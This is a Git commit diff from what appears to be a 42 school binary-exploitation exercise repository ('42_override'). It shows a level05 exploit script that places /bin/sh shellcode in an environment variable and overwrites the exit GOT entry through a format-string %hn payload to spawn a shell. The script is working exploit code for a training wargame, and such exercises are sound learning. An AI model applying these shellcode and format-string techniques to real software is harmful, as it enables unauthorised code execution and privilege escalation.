starnakin/42_override
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

level05: done (exploit modified to a better shellcode)

Browse Source 
level07: walkthrough done
level08: done
level09: done
This commit is contained in:
0x35c
2025-05-15 14:00:44 +02:00
parent 4a88b55e23
commit a3ea938eb1
12 changed files with 74 additions and 29 deletions
Download Patch File Download Diff File Expand all files Collapse all files

23
level05/ressources/exploit.sh
View File

@ -1,6 +1,4 @@
#!/bin/sh
export SHELLCODE="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80"
export SHELLCODE=$(python -c 'print "\x90"*1000+"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"')
printf '
#include <stdio.h>
@ -8,25 +6,24 @@ printf '
int main(void)
{
printf(\"%%x\", (unsigned int)getenv(\"SHELLCODE\"));
return 0;
printf(\"%%x\", (unsigned int)getenv(\"SHELLCODE\"));
return 0;
}' > /tmp/env.c
gcc -m32 /tmp/env.c -o /tmp/a.out
/tmp/a.out > /tmp/shellcode_addr
printf '
with open("/tmp/shellcode_addr") as f: shellcode_addr = f.read()
exit_addr_low = "\\x08\\x04\\x97\\xe0"[::-1]
exit_addr_high = "\\x08\\x04\\x97\\xe2"[::-1]
shellcode_low = int(shellcode_addr[4:], 16) - 8
shellcode_high = int(shellcode_addr[:4], 16) - shellcode_low - 8
text = open("/tmp/shellcode_addr").read()
payload = "%%{0}d%%10$hn%%{1}d%%11$hn".format(shellcode_low, shellcode_high)
exploit = exit_addr_low + exit_addr_high + payload
shell_code_low = int(text[4:],16)
shell_code_high = int(text[:4],16)
exit_addr_high = "\\x08\\x04\\x97\\xe2"
exit_addr_low = "\\x08\\x04\\x97\\xe0"
print(exit_addr_low[::-1] + exit_addr_high[::-1] + ("%%" + str(shell_code_low - 8) + "p") + "%%10$hn" + ("%%" + str(shell_code_high - shell_code_low) + "p") + "%%11$hn")
print(exploit)
' > /tmp/exploit.py
(python /tmp/exploit.py; cat) | ./level05